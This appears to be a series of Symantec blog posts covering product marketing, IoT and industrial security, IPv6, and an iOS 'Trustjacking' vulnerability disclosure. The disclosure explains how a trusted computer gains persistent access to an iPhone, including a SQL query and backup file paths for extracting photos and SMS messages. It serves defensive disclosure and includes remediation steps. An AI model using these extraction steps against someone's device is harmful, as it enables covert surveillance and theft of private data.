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Introducing Symantec Web Protection
A Secure Web Gateway that follows you home
Experts agree that the requirements of a secure workforce have changed. While not a surprise, it does signal the need to evaluate your security posture to ensure you are prepared for success moving forward. Some studies indicate that a much larger number of employees are now likely to work remotely at least some of the time post-pandemic and that CFOs now plan to shift some employees to working remotely on a permanent basis.
These shifts and others we have seen in this year like no other, are great reasons to evaluate which tools you will need to protect your workforce and your business. The introduction of Symantec Web Protection comes at the perfect time for the Enterprise, allowing a flexible deployment with a uniform experience.
The new Symantec Web Protection enables customers to benefit from a leading Secure Web Gateway (SWG) foundation with entitlement to deploy on-premises, in the cloud or a hybrid consumption. Customers are offered a single, straightforward Per User, Per Year price along with many complementary features and services that until now would have otherwise incurred their own separate and incremental charges.
Symantec Web Protection gives organizations advanced cloud-delivered (SaaS model) Secure Web Gateway licenses and leading on-premises SWG software licenses – both of which can operate seamlessly together with a centralized management, reporting and policy control interface.
What’s included:
SWG Software Subscription: (On-prem software, private cloud and cloud-native): Symantec SWG software extends the security capabilities of Edge Proxies to allow businesses for better web security and enforcement of corporate and regulatory compliance using virtual infrastructure on a common platform, reducing costs and IT resource requirements. Every user is also entitled to Web Security Service (WSS) providing the same proactive web protection capabilities delivered by the market’s leading on-premises Secure Web Gateway, Symantec ProxySG, but delivered as a resilient and performant cloud security service.
Intelligence Services- Advanced: Real-time web content protection, security categorization and web application control. The web filtering service automatically filters and categorizes billions of URLs into over 80 predefined categories, including 12 security categories that can be easily managed by IT administrators. SWG users get the most accurate and granular web application control policy engine for web and cloud access protection.
High Risk Isolation: Administrators can set policies to isolate websites that are unknown or assessed a Risk Level 5 and above (1-10 scale). High Risk Isolation (HRI) then executes the web content remotely and sends only safe rendering information to users' browsers. Administrators can set sites as read-only for added protection. HRI is available with cloud deployments, and on-premises software SGOS 7.3.1 and higher.
Deep File Inspection: File-based malware detection and emulation is integrated with Symantec Proxy, ASG, WSS, Endpoint Protection, ATP Platform, Secure Message Gateway, CASB, Email Security Service, & WAF.
Centralized Management and Reporting: Our centralized management and reporting capabilities for SWG infrastructure to enhance web security, mitigate cloud access risks and reduce operational costs. Users can host logs in the cloud, providing the visibility of all user traffic from any location with longer standard reporting and retention periods. Role-based access is available from any browser.
Symantec Web Protection
What About SASE?
Many of our customers indicate that their company wants to adopt a SASE framework, but don’t know where to begin and need to do it at a pace that’s right for them. Getting your traffic to the cloud is the critical first step for SASE adoption and a Secure Web Gateway is your foundation. Symantec Web Protection gives you both.
Isn’t Moving to the Cloud Expensive?
Another area that comes up for Enterprise businesses is that they need to deploy a Cloud SWG for remote workers, but expect they will always need an on-premises solution in the future. They just don’t have the people or financial resources to manage two network and security stacks. Symantec Web Protection gives customers the full set of on-premises SWG capabilities they enjoy today and also includes Cloud SWG (Web Security Service) licenses for all users at no additional cost. The best of both worlds.
Can I Have Flexibility?
The other concern we hear from customers is they know they need to invest in an on-premises SWG infrastructure but they know it will evolve over the next few years and flexibility is important. They need a solution that can adjust with company needs and won’t require a new budget or contracts if they need to modify their approach. With Symantec Web Protection, you can continue to invest in your trusted on-premises SWG but give others in your organization peace-of-mind knowing that your decision has protections to “future-proof” your investment if there is concern. As your needs adapt, your investment can too.
Requirements of a secure workforce have changed. Symantec Web Protection gives you the technology, flexibility and confidence to change too – on your own terms.
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Introducing the Symantec Protection Bulletin
An easy way to know if you are protected from threats
Am I protected? That’s the question I have gotten the most in my years at Symantec, a division of Broadcom (NASDAQ: AVGO). And the question is always specific. I am protected from threat X? A customer has the question because they’ve seen a news article, a warning from law enforcement, or newly published threat research. The question really is, am I protected by Symantec from threat X? There is now a way to answer that question without asking me. We call it the Protection Bulletin.
One of the great things about the acquisition of Symantec by Broadcom is that it’s given us a chance to rethink the ways we’ve always done things. One of these is around explaining our protection. Our protection remains excellent, as this blog explains. But we realized that our continued innovation in protection technologies has outstripped our ability to communication effectively about it. We are fixing that.
One of the great things about the acquisition of Symantec by Broadcom is that it’s given us a chance to rethink the ways we’ve always done things.
Few of our detections come from traditional signature-based protection anymore. The days when every threat had a named signature is over. The network-based, behavior based and the ML based protection of Endpoint Protection are stopping unknown threats. It’s the vast majority of our detections today, which is really good. It means the vast majority of our protection is proactive, stopping threats that haven’t been seen before. But it eliminates the ability to use signature names as a way to determine protection.
Then how do you know if you are in fact “protected from threat X?” Here’s a secret… we have always watched news reports, law enforcement reports and other vendor’s research to make sure we haven’t missed a threat. Belts and suspenders. When we see the article we check to make sure we have protection and then publish it to an internal site to let everyone know.
So why wouldn’t we make that information available to everyone? You are right, it’s a great idea. And now we’ve done it. The Protection Bulletin is now public, available to everyone, and you can read it here anytime. Why don't you check it out now?
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Invested Millions in Cyber Security Technologies. Now What?
Buying the best technologies isn’t enough if they sit in separate silos. Here’s how to get the most bang for your buck.
Most enterprises have a traditional set of cyber tools such as data loss prevention (DLP), proxy, endpoint protection, encryption and more. The technologies are integrated with a SIEM tool to collect and use the data coming from them.
However, because the technologies sit in silos, they only collect data based on their individual view of the world. As a result, disjointed data floods the SIEM, as analysts manually try to piece together what it all means and what they should do with that data. Truly critical threats are missed because by the time analysts piece together the paper trail for one threat, only to realize it was not a high risk to the organization, the real threat slips by.
For example, a proxy tool would send a high-level alert if an employee visited a bad reputation website. But, that doesn’t necessarily mean there’s a threat. Analysts would not easily be able to connect the activity with the employee that was behind the IP address, endpoint events that may indicate malware, or beaconing activity that may indicate a command and control point.
Additionally, they would not know if it was unusual for that employee to visit that site, nor if it was unusual for the employee’s peers and overall team to visit it. Nonetheless, analysts may treat the alert as an active threat, and potentially waste time investigating only to find out it was a false alarm.
On the other hand, analysts may ignore the alert, assuming it was innocuous, only to discover that it was one indicator of many of a greater breach. Or, maybe the employee typically visits the site as part of his personal social activities, which he happened to be doing at work that day, or maybe it is part of a nation state that has taken control of the company’s infrastructure. There’s no way to tell from individual events without context, even if those events are pulled together in one place, like in a SIEM.
By integrating tools and adding context, analysts know exactly which threats and vulnerabilities to act on each day, and waste less time chasing down false positives and less impactful risks.
The siloed tool setup is a twofold problem – it causes critical threats to be overlooked, and it does not maximize the millions of dollars companies invest in their cyber security technologies. To get the most bang for their buck, companies must focus on integration and context. Each individual tool is good at what it was designed to do, however without context, such as the value of the asset at risk, and data from other tools in the environment, analysts cannot get a full picture of their cyber risk posture. Let’s take the WannaCry ransomware, for example.
You may recall WannaCry was the most compelling ransomware event in 2017, hitting hundreds of thousands of computers worldwide by exploiting critical vulnerabilities in Windows computers. After the outbreak, many cyber security teams performed vulnerability scanning, found the exploitable applications and manually figured out who owned them. Then, those owners scheduled patching and deployed a patch to every vulnerable application in no prioritized order.
What’s more effective is connecting the dots between the scanning and endpoint protection tools, combined with understanding the value of the application at risk of a compromise, and the impact to the business if it were compromised. The full picture looks like this:
The endpoint protection tool fires off an alert saying the company may have WannaCry in its environment. The scanning tool shows which applications and machines are not patched for WannaCry. Contextual data is added showing which of those vulnerable applications are of high value, those that if compromised, would impact the business the most, and which application owner governs those assets.
For the applications of the highest value and that are vulnerable to WannaCry, the application owner would receive those vulnerabilities for immediate remediation. And, all of this would be automated. By integrating tools and adding context, analysts know exactly which threats and vulnerabilities to act on each day, and waste less time chasing down false positives and less impactful risks.
Bringing Data Together
After all, at the end of the day, the business problem in many companies when it comes to security is how much wasted time their limited security analysts spend following up on individual tool alerts that are not relevant nor critical to the business, all while leaving truly critical threats and vulnerabilities unattended.
So, what is needed to bring these siloed technologies together along with contextual information? Cyber risk analytics platforms, such as Symantec Information Centric Analytics (ICA), enable companies to do all of this. ICA brings together telemetry from individual tools, adds contextual information such as the value of the asset at risk, in addition to its proprietary user and entity behavior analytics (UEBA), to prioritize the threats and vulnerabilities that matter most. The platform automatically provides that information to the stakeholders in the business responsible for mitigation.
Here’s an example of how integrating ICA with traditional security tools makes them more effective and efficient. The GDPR became mandatory May 25, 2018. One of the main tenants of the regulation is that organizations must understand which data is sensitive, where that data is located, when it is being moved and any violations related to that data. DLP tracks when people move data that falls under the GDPR.
ICA detects any unusual user activity related to that data and brings together that activity with data from DLP. By combining those two data sets along with contextual information such as the fact that the asset at risk is of high value and in the scope of the GDPR, ICA shows analysts that high value, GDPR-related data was about to be exfiltrated by someone who typically does not access that data, and therefore must be investigated immediately.
Many organizations have begun integrating security data and applying cyber risk analytics with their traditional cyber tools or are planning to do so soon. Cyber leaders are realizing it’s impossible for their limited team of analysts to tackle the volume of alerts coupled with amount of data flowing through countless devices and applications. They need something that brings data from their existing cyber tools together to allow them to see the forest from the trees and prioritize the alerts that are real and need immediate investigation.
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iOS Trustjacking – A Dangerous New iOS Vulnerability
During our RSA Conference presentation today (Wednesday, April 16, 2018 | 9:15 AM PST | Moscone North 21), Adi Sharabani and myself disclosed a new iOS vulnerability which represents a new class of multi-device attacks
Intro
An iPhone user's worst nightmare is to have someone gain persistent control over his/her device, including the ability to record and control all activity without even needing to be in the same room. In this blog post, we present a new vulnerability called “Trustjacking”, which allows an attacker to do exactly that.
This vulnerability exploits an iOS feature called iTunes Wi-Fi sync, which allows a user to manage their iOS device without physically connecting it to their computer. A single tap by the iOS device owner when the two are connected to the same network allows an attacker to gain permanent control over the device. In addition, we will walk through past related vulnerabilities and show the changes that Apple has made in order to mitigate them, and why these are not enough to prevent similar attacks.
A recap of related past vulnerabilities / attacks
We saw several publications in the past that discuss leveraging unauthorized USB connections in order to get private information from mobile devices.
Prior to iOS 7, connecting an iOS device to a new computer didn’t require any authorization from the device owner. Juice jacking [1] [2] [3] uses this behavior and is able to steal sensitive information from devices and may install malware on the victim’s device. Apple solved this issue by adding the popup requesting the user to authorize new computers before allowing any sync operations.
Another publication discusses Videojacking, which utilizes the ability of Apple’s connector to be used as an HDMI connection and get a screen recording of iOS devices while connected to a malicious charger.
Both exploits allowed an attacker potential access to sensitive information, but their major limitation was that everything is possible only while the device is physically connected to the malicious hardware - disconnecting the device stops the attack flow.
Trustjacking allows an attacker to gain a more continuous and persistent hold of the device and retain the same abilities long after the device has been disconnected from the malicious hardware. To understand how this works, we first need to explain iTunes Wi-Fi sync.
What is iTunes Wi-Fi sync?
iTunes Wi-Fi sync is a very useful feature that allows iOS devices to be synced with iTunes without having to physically connect the iOS device to the computer.
Enabling this feature requires syncing the iOS device with iTunes first by connecting to a computer with a cable, then enabling the option to sync with the iOS device over Wi-Fi.
Trustjacking - how does it work?
Upon connecting an iOS device to a new computer, the users are being asked whether they trust the connected computer or not. Choosing to trust the computer allows it to communicate with the iOS device via the standard iTunes APIs.
This allows the computer to access the photos on the device, perform backup, install applications and much more, without requiring another confirmation from the user and without any noticeable indication. Furthermore, this allows activating the “iTunes Wi-Fi sync” feature, which makes it possible to continue this kind of communication with the device even after it has been disconnected from the computer, as long as the computer and the iOS device are connected to the same network. It is interesting to note that enabling “iTunes Wi-Fi sync” does not require the victim’s approval and can be conducted purely from the computer side.
Getting a live stream of the device’s screen can be done easily by repeatedly asking for screenshots and displaying or recording them remotely.
It is important to note that other than the initial single point of failure, authorizing the malicious computer, there is no other mechanism that prevents this continued access. In addition, there is nothing that notifies the users that by authorizing the computer they allow access to their device even after disconnecting the USB cable.
Demonstration
Imagine the following scenario: A victim connects his phone to a free charger in an airport; upon connecting his phone to the charger a popup message appears on his device, requesting him to approve the connected device. Approving this request might seem reasonable: the victim wants to charge his device, the service seems legitimate and it appears that nothing suspicious happens following the approval.
Demonstration Trustjacking
Attack Flow
From the user perspective, all he had to do is connect his device to a malicious charger / computer (might also be his own computer, as outlined later on) and choose to trust it.
Reading the text, the user is led to believe that this is only relevant while the device is physically connected to the computer, so assumes that disconnecting it will prevent any access to his private data. Even if the device is only connected for a very short period of time, it is enough for an attacker to execute the necessary steps to maintain visibility of all actions performed on the device after it is disconnected.
The attacker needs to take two steps:
Allow the device to connect to iTunes
Enable iTunes Wi-Fi sync
These steps can be automated by malicious software. They interestingly do not require any additional approval from the victim and don’t trigger any indication on the device that something is happening. Once these actions are completed, the device does not need to be physically connected to the attacking hardware anymore. Now the attacker can control the device remotely, as long as the victim and attacker are connected to the same network.
In order to be able to view the victim’s device screen, the attacker needs to install the developer image suitable for the victim’s device iOS version; then, he can take screenshots repeatedly and view the device’s screen in near real time. Installing the developer image can be conducted over Wi-Fi and does not require regaining physical access to the device. Although a restart may remove the developer image from the device, the hacker has continued access and can reinstall it easily.
Taking it to the next level
In addition to remotely viewing the victim’s device screen, Trustjacking also allows an attacker to do much more.
One of the features that an attacker can leverage is remote iTunes backup. By creating a backup of the device’s contents the attacker is able to get access to a lot of private information such as:
Photos
SMS / iMessage chats history
App data
In order to get this information we had to parse the iTunes backup.
The backup consists of several metadata files and the backed up files themselves. Each file is stored in the path SHA1(“%domain%-%relativePath%”) and the directory with the name set to the first 2 hex digits of the hash.
For example, a photo with the path “Media/DCIM/100APPLE/IMG_0059.JPG” will be stored in the path “b1/b12bae0603700bdf7719c3a65b22ca2f12715d37” as “b12bae…” is the SHA1 hash of “CameraRollDomain-Media/DCIM/100APPLE/IMG_0059.JPG”.
All of the backed up files are listed on the “Manifest.db” file which is an SQLite3 DB and can be easily listed by querying it.
A simple query such as:
`SELECT * FROM Files WHERE relativePath like '%Media/DCIM%' ORDER BY relativePath;` will list all of the pictures that have been backed up, including their hash.
Reading SMS / iMessage requires parsing another SQLite3 DB which can be found on the file “3d/3d0d7e5fb2ce288813306e4d4636395e047a3d28” (SHA1 equivalent of “HomeDomain-Library/SMS/sms.db”).
The two interesting tables are “chat” that lists all of the chats, and “message” that contains all of the messages for those chats, with “chat_message_join” to join them.
iOS Trustjacking - Backup and Restore Exploit
And there is more. An attacker can also use this access to the device to install malicious apps, and even replace existing apps with a modified wrapped version that looks exactly like the original app, but is able to spy on the user while using the app and even leverage private APIs to spy on other activities all the time. In the following video demonstration we demonstrate how they can identify the apps on the device and replace an app with a repackaged version of it. Notice the fraction of second in which the app is deleted and reinstalled.
iOS Trustjacking – Replace Apps Exploit
Is the attack confined to Wi-Fi only?
The attacks that we have described require the device and the attacking computer to be connected to the same network. Usually this means being in proximity to the victim’s device and connected to the same Wi-Fi, but this is not the only option.
By combining this attack with the malicious profile attack, we are able to connect the device to a VPN server and create a continuous connection between the victim’s device and the attacker’s computer and leverage this attack anytime and without the restriction of being in proximity with the device or connected to the same network.
iOS 11 - following our disclosure to Apple
Following our responsible disclosure process, Apple chose to add a mechanism that should make sure that only the real owner of the iOS device can choose to trust a connected new computer. This is done by requiring the user to enter his / her passcode when choosing to authorize and trust a computer.
As can be clearly seen in this screenshot, the user is still being told that this authorization is only relevant while the device is connected to the computer, making him believe that disconnecting his device guarantees that no one can access his private data.
While we appreciate the mitigation that Apple has taken, we’d like to highlight that it does not address Trustjacking in an holistic manner. Once the user has chosen to trust the compromised computer, the rest of the exploit continues to work as described above.
What if the attacker infects the victim’s computer rather than using a malicious charger?
A limitation of the malicious-charger attack flow is the potentially short period of time the victim and the iOS device are in the same proximity/network as the malicious computer. It would be far more devastating if the user’s own computer becomes the malicious actor. This powerful use-case of Trustjacking can happen when the device owner’s own PC or Mac has been compromised by malware. In this case, the attacker can utilize the relation of trust the victim has between his iOS device and his computer, along with the fact one’s own computer is usually in close proximity to the mobile phone (e.g. home, office, etc.) to achieve deep insight not only to the actions on the infected computer, but also to the victim’s mobile phone activity over time.
Remediation
Unfortunately, there is no way to list all of the trusted computers and revoke access selectively. The best way to ensure that no unwanted computers are being trusted by your iOS device is to clean the trusted computers list by going to Settings > General > Reset > Reset Location & Privacy, now you will need to re-authorize all previously connected computers next time you are connecting your iOS device to each device.
In order to protect device backups and avoid attackers leveraging Trustjacking in order to get their hands on additional private information, enable encrypted backups in iTunes and choose a strong password.
Installing a Mobile Threat Defense solution such as SEP Mobile or Norton Mobile Security will help to protect your device from other implications of such attacks. SEP Mobile will identify and protect the end user against the installation of malicious profile, apps or attempts to compromise the device via this technique, and leveraging integrations with the SEP product line, customers have full visibility into both mobile and desktop operating systems.
For app developers - avoid including sensitive data in iTunes backup as this will reduce the risk on attackers leveraging Trustjacking in order to get such data by accessing your app’s backup.
Acknowledgements
We would like to thank Apple’s security team for their cooperation and continued commitment to the security of Apple’s user base.
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IoT in the Age of Everything Connected
New challenges in securing industrial environments due to increased IOT device connectivity and automation
Earlier this year, an infection at the world’s biggest chip supplier, Taiwan Semiconductor Manufacturing Co. (TSMC), forced the company to halt production.
TSMC was forced to shut down its systems after a supplier connected tainted software via USB to the corporate network without first performing a virus scan. The resulting outage led to shipment delays and additional costs that the company estimated would hurt revenue by about 3%.
The episode hinted at the challenges involved in securing industrial environments, a task further complicated by the frequent use of USB drives by employees and contractors, who inadvertently allow malicious files entree into their networked or air-gapped environments.
Consider how easily the Stuxnet computer worm was able to damage centrifuges at a uranium enrichment facility in Iran almost a decade ago. The Stuxnet malware was automatically installed when a USB device was inserted. It then automatically propagated itself in the network, installed the malicious files on all networked devices, and executed whenever it found software for which it had zero-day exploits. This included infecting the PLCs, while suppressing any alerts to the end-user.
Stuxnet changed the risk calculus; it demonstrated that physical damage could be inflicted on an industrial control system (ICS). What’s more, it proved cyber adversaries could manipulate industrial operational technology (OT) to the point where they can even threaten human safety.
The lesson here for OT operators is clear: organizations that may not have thought about security in the past must now take measures to augment their existing environments. They face a threat environment where scenarios in which attacks bring down their operations are not so far-fetched.
Future-Proofing Your Defense
The problem remains that these industrial environments have existed for more than 20 years with little to no security strategy. In designing and implementing these ICSs and applications, however, security was given relatively short shrift and was once maintained through: lack of internet connectivity to operational technology system and lack of common infections that could plague OT environments. That’s no longer true. If anything, IoT security is taking on increased urgency as tens of billions of these devices are coming online. Indeed, overall IoT spending is projected to reach $1.2 trillion in 2022, according to estimates by IDC.
Many of these devices were not originally intended to be connected to the outside world, though recent computing advancements have increased IOT device connectivity and automation in industrial environments. That raises no shortage of concerns about the ability of supervisory control and data acquisition (SCADA) systems to repel attackers targeting poorly-secured IoT devices.
And it doesn’t take much to imagine the possibility of physical damage. We’ve already seen instances where malware has shut down cars and power plants.
Also, public safety demands that as more municipalities look to become so-called smart cities, incorporating sensors and other IoT devices to better manage their operations, there’s clear need to make sure that these systems are secure.
And don’t assume that because you’re disconnected from the internet that you’re safe. Attackers have proven they can still operate in air-gapped environment to suck out your data or damage your systems – or both.
The challenges are even more acute when it comes to protecting older cyber-physical systems, which are difficult and expensive to replace or patch, and where configuration is highly customized. What’s more, everyday USB usage (to update systems for example) can easily infect these environments.
Some organizations look to close off threats via USBs by completely shutting out the possibility of even plugging in a USB device. But the fact remains that you might still have an internal bad actor who can insert a USB without anyone being aware of it until it’s too late.
So, How do You Remain a Step Ahead?
The cost of a breach can easily turn out to be more than the amount of security. Here is what you need to know to decrease the attack surface and implement proper security measures for your environment:
Business stakeholders need a clear understanding of the risks in their environment.
Monitoring critical environments at a network level does not enable organizations to prevent even accidental infections.
Intrusions pivot through endpoints and, therefore, must be at the heart of an organization’s security strategy.
Organizations that do not take proper measures to secure critical infrastructure and operational technology are subject to large liabilities.
How Symantec Answers the Call
What you need is a trusted multidimensional IoT security strategy to protect against USB-borne malware, as well as network intrusion and zero-days. Here’s where our Industrial Control System Protection Neural USB scanning station (ICSP) and Critical System Protection (CSP) provides the security posture you’ll need to protect your critical environments.
The Symantec ICSP Neural USB scanning station is a self-contained aluminum-unibody appliance that prevents both known and unknown attacks to IOT environments through detection of and protection against malicious malware that exists on USB devices. For secure external media transfer, ICSP Neural leverages and visualizes our most advanced Symantec threat technologies: Machine Learning stack and cross hatched with signatures, emulation, and reputation to provide the highest levels of protection against weaponized malware.
ICSP Neural is endowed with deep learning and is capable in protecting against future forms of attacks, such as adversarial machine learning. The upstanding hardware and cutting-edge software provides higher efficacy, longevity, and organic self-learning for a decreased attack surface to your critical environments.
What’s more, ICSP Neural offers a lightweight enforcement driver, which is compatible with legacy operating systems, and enforces protection by ensuring that only scanned external media can be used on your systems. ICSP Neural is equally compatible with a wide range of automation vendors, HMIs, healthcare devices and defense systems. So, whether your target system is decades old or modern-day machinery, ICSP Neural provides a high degree of protection from known and unknown zero-day exploits and attacks.
For the decades-old systems or devices that require legacy and/or end-of-life (EOL) support, we have our lightweight no-internet required Critical System Protection. Built with intrusion prevention and intrusion detection features for managed or standalone IoT devices, CSP deploys a signature-less application whitelisting policy-based approach to endpoint security and compliance, which secures IoT devices from known and unknown zero-day exploits and attacks. The essence of CSP is to protect and isolate IoT devices against network intrusion and zero-days from performing unhygienic operations or accidental infections when installed on existing automation stacks and engineering workstations.
Our IoT defense arsenal addresses industry-wide pain points with enterprise-ready proven offerings. At Symantec, we foster uninterrupted business operations without the need to replace existing equipment, software or downstream operations. Working together, ICSP Neural and CSP implement control points to protect against USB-borne malware, network intrusion, and zero-day exploits to industrial control systems and IoT devices. To learn more about our IoT solutions, visit us at Symantec.com/iot.
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Internet of Things (IoT) Security
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IoT Security: Easy to Compromise, Not So Easy to Fix
Why Hackers Find it So Tempting to Attack IoT
At the end of August, well-known security researcher Johannes Ullrich conducted a simple experiment that showed just how hostile the Internet is for connected devices.
Ullrich, the dean of research for the SANS Technology Institute, connected a digital video recorder to the Internet and left it there for nearly two days, rebooting the device — essentially wiping the slate clean — every five minutes. It only took two minutes, on average, for the DVR to be compromised by an attack. And not just any type of attack, but the most basic of approaches: Someone used the default password for the device.
The experiment underscores the spotty security plaguing so many of the connected devices that make up the so-called Internet of Things. While some devices have well-thought-out protections, others can easily be exploited by attackers. "This is not just about DVRs, but any device connected to the Internet with default passwords," Ullrich said. "Devices running Linux and using one of these default passwords — they are getting popped within minutes."
There are millions — if not, billions — of vulnerable devices connected to the Internet — from home routers to video cameras, and from medical devices to thermostats. The Internet of Things is firmly in the sights of attackers, and unfortunately, the bad guys don't have to work very hard as manufacturers making these devices continue to build in default passwords across these devices, a practice that should've been stopped years ago.
In the summer of 2016, for example, attackers quickly spread malware across the Internet, armed only with a list of 62 commonly used and default passwords for — mostly — connected video cameras. The malware, the now well-known Mirai, scanned the Internet, infected the camera, and then used the device to keep scanning, while awaiting new commands.
An early command was to create a massive denial-of-service attack — an unprecedented massive flood of data — to make inaccessible the Web site of noted security journalist Brian Krebs in September 2016. The following month, attackers used the Mirai botnet — and other attack networks — to disrupt the operations of Dyn, an Internet infrastructure provider, and its clients, reportedly including Netflix, Twitter and CNN.
While smaller attacks happened earlier in the summer, the massive data floods against Krebs and Dyn made Mirai the poster boy for the dangers of insecure devices. "IoT botnets did not start with Mirai, they just gained a lot of exposure," said Ben Herzberg, security group research manager for security firm Imperva.
Mirai raised awareness of the danger of IoT devices to cyber security professionals, but attracted the attention of potential attackers. The release of Mirai's source code also fueled attackers' efforts.
In October, for example, another group introduced Hajime, which also uses default passwords to infect devices. Hajime is both stealthier and more technically sophisticated than Mirai. Because neither malware overwrites the flash memory of the compromised device — a restart resets the device back to a clean slate, and still vulnerable — a single IoT device can be serially attacked by different malware, Waylon Grange, a malware analyst with Symantec, wrote in a January blog post.
"One day a device may belong to the Mirai botnet, after the next reboot it could belong to Hajime, then the next any of the many other IoT malware (or) worms that are out there scanning for devices with hardcoded passwords," he said. "This cycle will continue with each reboot until the device is updated with a newer, more secure firmware."
Beyond Botnets
While most IoT compromises have led to the creation of botnets, security experts warn that more sophisticated attacks will become more common. Of significant concern for companies is an attacker using an insecure device as a beachhead — a technique known as pivoting.
The breach of retail giant Target happened in just this way. An attacker used the interface to the company's HVAC system to gain a foothold in the retailer's network, leading to the leak of more than 100 million records, including credit-card data.
Perhaps the most oddball pivot is the reported hack of a connected fish tank that led to the compromise of a North American casino, and could have resulted in 10GB of data being transferred to another country, according to an unverified report in the annual threat report of anti-malware firm DarkTrace.
Companies should be prepared for more sophisticated attacks that reach beyond default passwords, said SANS's Ullrich. "There are a number of other vulnerabilities — like Web application vulnerabilities in the admin interfaces for the devices — but at this point, it is too easy to go after the default passwords," he said.
Because the Internet of Things often connects the digital network to a physical device — such as a thermostat, x-ray machine or an industrial centrifuge — compromising the device can lead to physical damage. Attackers — most thought to be nation-state agents — are already accomplishing such attacks. The Stuxnet attack on Iranian uranium processing facilities in 2009 and 2010, and the more recent ransomware attacks on hospitals — causing operational disruptions — have both shown the vulnerability of connecting insecure digital devices with physical systems.
"We are seeing a lot of attacks beyond default passwords and other low-hanging fruit," said Brian Witten, senior director of Symantec Research Labs Worldwide. "We are already seeing a wide range of these attack techniques done at scale."
Unfortunately, there is no easy defense. Most manufacturers only rarely patch, and most users wouldn't know how to patch the devices on their own.
For companies, the regular approach to information-technology systems — firewall and patch — does not necessarily work either. The business version of the Internet of Things tends to be devices needed for operation: Door locks, temperature controls and other physical systems.
Yet, there are things that the average company can do.
1. Don't Connect Unprotected IoT Devices to the Internet
The first line of defense for companies should be to put any connected device behind a good router with a firewall. While the approach can limit a device's functionality, it also prevents attackers from attempting to access the device via brute-force password guessing.
In addition, experts say a single firewall is not enough. Companies should also segment their network, preventing devices from accessing critical data and servers. Regularly monitoring the network for anomalous activity can also pick out when a device is acting strangely.
2. Manage the Devices
Every business should know what devices are connected to their network and manage every single one, from the time it connects until it leaves. Default passwords should be changed, the device should be regularly checked to ensure it has the latest update, and the users who can access the device should be limited.
Sensible in theory, but many devices do not have any way to be managed, SANS's Ullrich said.
"These devices tend to be so difficult to secure, because you don't have any integrated patch management systems for them," he said. "You can put them behind firewalls, but then you may lose a lot of functionality because you need to connect to those devices."
3. Be Prepared to be DDoSed
Finally, companies need to be prepared to be a target, even if their devices are not vulnerable. The widespread availability of connected devices with default passwords and easy vulnerabilities means that attackers have a ready supply of would-be bots to turn into a massive denial-of-service attack, warned Imperva's Herzberg said.
"Organizations need to understand that this huge availability of IoT bots means that something that was very expensive or much more expensive a couple of years ago is cheaper for attackers these days," he said. "So, they need to prepare themselves for an attack."
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IPv6 Is Finally Ready for Prime Time. Now What?
IPv6 has the potential to make the Internet a safer place. Here’s what you need to know about deploying the new networking protocol
The IPv6 networking protocol appears to be poised for prime time in 2019, with worldwide adoption already at 28 percent in mid-May according to Google, and with U.S. adoption at 46 percent, according to Akamai.
The protocol fixes a serious problem with the Internet’s underlying plumbing — there simply aren’t enough IP addresses to go around, and IPv6 greatly expands the number available. The previous protocol, IPv4, was designed in the early part of the 1980s, when no one imagined the Internet would grow so explosively. Enterprises and others have used workarounds to get around the problem, but they’re no longer good enough because the Internet is hungry for far more IP addresses due to the massive growth in IoT and mobile devices.
IPv6 also has the potential to make the Internet a safer place when it’s fully adopted worldwide. But there are plenty of security bumps between today and full adoption. Merely moving your network from IPv4 to IPv6 won’t make your enterprise any safer, experts say. In fact, they warn, if done improperly, it could leave open gaping security holes. In this blog post, we’ll go over what you need to know about IPv6 and security, and how you can best deploy it.
IPv6 Urban Myths
IPv6 on its own won’t increase Internet security, contends well-known IPv6 expert Charles Sun, who has worked as a senior network engineer and principal network consultant at the University of Maryland, Northrop Grumman Mission Systems, U. S. National Library of Medicine, AOL Time Warner, and other organizations.
“It’s not necessarily true that IPv6 is inherently more secure than IPv4,” he says. “That’s a myth that was started because the initial specs for it included end-to-end encryption using IPsec.”
However, IPsec was dropped from the spec to make IPv6 easier to deploy. IPsec will work with IPv6, but it’s no longer mandatory.
Sun says that IPv6 is vital for the future of the Internet, because the deluge of new devices, including not just IoT, but also self-driving cars, will require it. There may be as many as 30 billion devices on the Internet in the next several years, he adds, which will require IPv6’s dramatic increase in IP address space.
IPv6 on its own won’t increase Internet security.
Bruce Beam, CIO of the (ISC)² IT security professional non-profit group, believes that IPv6, if used properly, will allow enterprises to adopt more secure practices than they now have.
Notably, he says, when enterprises have the larger address space available for every Internet-connected device, they can better segregate IP addresses on their networks. Doing that, he says, will keep enterprises safer because if an attacker gets into their networks, they can only attack one part of it, and can’t hop onto other sections.
How to Deploy IPv6 Safely
Experts agree that unless enterprises deploy IPv6 properly, they can put themselves at risk. Particularly important, Sun says, is that companies check with their security and hardware vendors to find out whether their software and hardware are compatible with IPv6 — and if so, what changes need to be made in the way the hardware and software is deployed. That includes not just networking software, but desktop PCs and other company hardware. All new hardware and software should be IPv6 compliant, as well, he says. And any existing hardware and software that won’t work with IPv6 will need to be replaced.
“It’s especially important to check with firewall vendors, to make sure they work with IPv6 and are configured properly,” he says. “Otherwise, you may leave yourself open to intrusions.”
Some vendors may not support the full IPv6 feature set, he warns, so it’s vital that enterprises know which security features are supported and which aren’t. At a minimum, he adds, vendors should support a company’s current IPv4 security feature set. He says that when negotiating security contracts, enterprises should require that their vendors support the entire IPv6 spec.
“Look for vendors way ahead of the IPv6 curve,” he recommends.
Experts agree that unless enterprises deploy IPv6 properly, they can put themselves at risk.
He adds that many enterprises may be tempted, during the transition from IPv4 to IPv6, to use tunneling technologies to have IPv4 and IPv6 sections of a network to talk to one another. But that can be extremely difficult to configure properly, he says, and may lead to sizable security holes. So he recommends changing over all at once to IPv6, if at all possible, eliminating the need for tunneling.
Beam adds that enterprises need to go into a potential IPv6 deployment with eyes wide open, and only make the move if it offers significant benefits, including for security.
“Moving from IPv4 to IPv6 is going to be a very difficult implementation, especially in large organizations, so enterprises should closely examine the benefits they expect to get from the move, and any potential security risks they might face during and after changeover,” he says.
“So, for example, if you don’t expect to get benefits such as with network segregation, it doesn’t make sense to do a large-scale move just in order to say, ‘I’m on IPv6.’”
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Is a Critical Infrastructure Network the Answer to Cyber Attacks?
Research organizations are exploring the feasibility and costs associated with offloading critical infrastructure from the Internet to a separate and secure network
After a 2015 attack on a state power company and following reports that hackers are actively targeting the U.S. power grid, policy experts and researchers are actively examining the feasibility of shifting critical infrastructure off the Internet to a separate, secured network.
